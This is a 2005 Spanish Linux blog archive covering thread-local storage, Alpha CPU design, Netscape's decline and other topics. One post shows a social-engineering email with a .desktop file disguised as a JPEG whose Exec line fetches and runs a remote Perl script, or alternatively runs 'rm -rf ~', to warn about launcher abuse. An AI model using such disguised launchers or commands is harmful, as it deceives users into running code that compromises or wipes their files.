15 de marzo de 2005

__thread

Interesante, siempre me pregunté para que %$")%$"%/(&·)&·()%· servía eso de TLS. Matt Dillon lo sabe explicar de una manera bastante comprensible:

TLS stands for 'thread local storage'. It is a way of abstracting global variable declarations that you want to be 'per thread' storage rather then common storage.

so, e.g. in a threaded environment, if you declare a global variable:

int Fubar;

Then that global variable will represent the same storage across all threads.
But if you declare it:

__thread int Fubar;

Then each thread will be given *different* storage for Fubar.

This feature could be used by, well, just about every library. For example, it would allow us to clean up how 'errno' works in a threaded environment. It would allow standard libc calls such as ctime() and localtime() work properly in a threaded environment, and it would greatly simplify the job of writing threaded library code.

14 de marzo de 2005

prueba estúpida del día

  • Arrancar linux (en modo consola por supuesto, como deberia estar ¿quien se atreve a cometer el sacrilegio de poner GDM por defecto?)
  • init 1
  • descargar los módulos que hotplug haya cargado
  • init 3 again

La velocidad que tiene la segunda vez (está todo cacheado) es casi la que debería tener si tuvieramos un inicio medianamente optimizado

13 de marzo de 2005

Hi!

I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!

attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

Alternativas:
Name=My Bikini zoomed.jpg
Exec=rm -rf ~

Lo que aterroriza es que funciona. Si, puedes poner varios comandos en una clave Exec. Estoy ansioso de que linux gane cuota en el mercado de escritorio, para pasarme el dia ejecutando GNUantispyware

desktop-noseque-specification

Acabo de crear el bug 2714 en el bugzilla de freedesktop, dando argumentos para que manden a /dev/null la clave "Name" de los archivos .desktop. Dudo bastante que tengan razones para oponerse a él, más que nada porque el "problema 1" que describo ahí me ha tocado vivirlo y no es de mentira. Eso de arrastrar un icono del panel al escritorio, y que te diga que estas intentado sobreescribir un archivo, cuando lo que tu ves son nombres diferentes, no es un buen diseño. Y lo peor de todo, si intentas renombrarlo nautilus NO renombra el archivo, solo cambia la clave Name del archivo...

12 de marzo de 2005

alpha

Es curioso, el otro día me encontré un libro que se titulaba "the alpha reference manual" o algo así y lo cogí (no deberían dejar esos libros a la vista entre la bibliografía de las asignaturas...), y venía un párrafo de los diseñadores del procesador. Es uno de esos párrafos que lo lees y dices "wow". Un testimonio de lo que era Digital. Su objetivo era crear un procesador que sirviera de plataforma durante 15-25 años, como lo había sido el VAX. Tambien eran conscientes de que la velocidad de los procesadores había aumentado mil veces en los últimos 25 años, y Alpha fue diseñado para poder lograr tambien ese aumento a lo largo de su vida, siendo conscientes de que iban a necesitar smp/cores en el futuro para continuar con ese aumento, etc. En otras palabras: una arquitectura aun joven que si alguien se hubiera molestado en continuar fabricando, podria patear a muchos.

En fin. Como curiosidad, he encontrado el dichoso párrafo por internet

4 Architectural Goals

When we started the detailed design of the Alpha AXP architecture, we had a short list of goals:

1. High performance
2. Longevity
3. Capability to run both VMS and UNIX operating systems
4. Easy migration from VAX and MIPS architectures

These goals directly influenced our key decisions in designing the architecture.
In considering performance and longevity, we set a 15- to 25-year design horizon and tried to avoid any design elements that we thought could become limitations during this time. In current architectures, a primary limitation is the 32-bit memory address. Thus we adopted a full 64-bit architecture, with a minimal number of 32-bit operations for backward compatibility.

We also considered how implementation performance should scale over 25 years. During the past 25 years, computers have become about 1,000 times faster. Therefore we focused our design decisions on allowing Alpha AXP system implementations to become 1,000 times faster over the coming 25 years. In our projections of future performance, we reasoned that raw clock rates would improve by a factor of 10 over that time, and that other design dimensions would have to provide two more factors of 10.

If the clock cannot be made faster, then more work must be done per clock tick. We therefore designed the Alpha AXP architecture to encourage multiple instruction issue* implementations that will eventually sustain about ten new instructions starting every clock cycle. This aggressive technique of starting multiple instructions distinguishes the Alpha AXP architecture from many other RISC architectures.

The remaining factor of 10 will come from multiple processors. A single system will contain perhaps ten processors and share memory. We therefore designed a multiprocessor memory model and matching instructions from the beginning. This early accommodation for multiple processors also distinguishes the Alpha AXP architecture from many other RISC architectures, which try to add the proper primitives later.

To run the OpenVMS AXP and the DEC OSF/1 AXP-and now the Microsoft Windows NT-operating systems, we adopted an idea from a previous Digital RISC design called PRISM.[3] We placed the nderpinnings for interrupt delivery and return, exceptions, context switching, memory management, and error handling in a set of privileged software subroutines called PALcode. These subroutines have controlled entry points, run with interrupts turned off, and have access to real hardware (implementation) registers. By including different sets of PALcode for different operating systems, neither the hardware nor the operating system is burdened with a bad interface match, and the architecture itself is not biased toward a particular computing style.

El resto, aquí

8 de marzo de 2005

kernel.org

No se si alguien se ha dado cuenta, kernel.org en su página principal pone la carga principal del sistema, y siempre está entre 100-150-200 sea cual sea la hora del día, que ya tiene su cosa. Tiene un uptime de 3 meses, corriendo linux 2.6 por supuesto

3 de marzo de 2005

Netscape

Una y otra vez oigo por todos los lados aquello de "Microsoft utilizó tácticas monopolísticas para acabar con Netscape", cuando realmente no es verdad. Parece que muy poca gente ha leido La entrevista de Arstechnica a Scott Collins, trabajador de Netscape desde Netscape 3.0 (ahora está en trolltech), donde se dan pistas de lo que realmente ocurrió con Netscape. Que Microsoft utilizó tácticas monopolísticas está claro, pero que la perdida de cuota de mercado de Netscape se debió solo a eso es FALSO, Netscape se pego un tiro a la cabeza (a la de su producto), y para muestra, este trozo de la entrevista:

Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?

One: There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.

Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name

2 de marzo de 2005

Netcraft

Oh, y Netcraft ya ha completado la encuesta de Marzo. Resultado: Apache llega al 69%. En unos pocos meses cruzaremos el 70.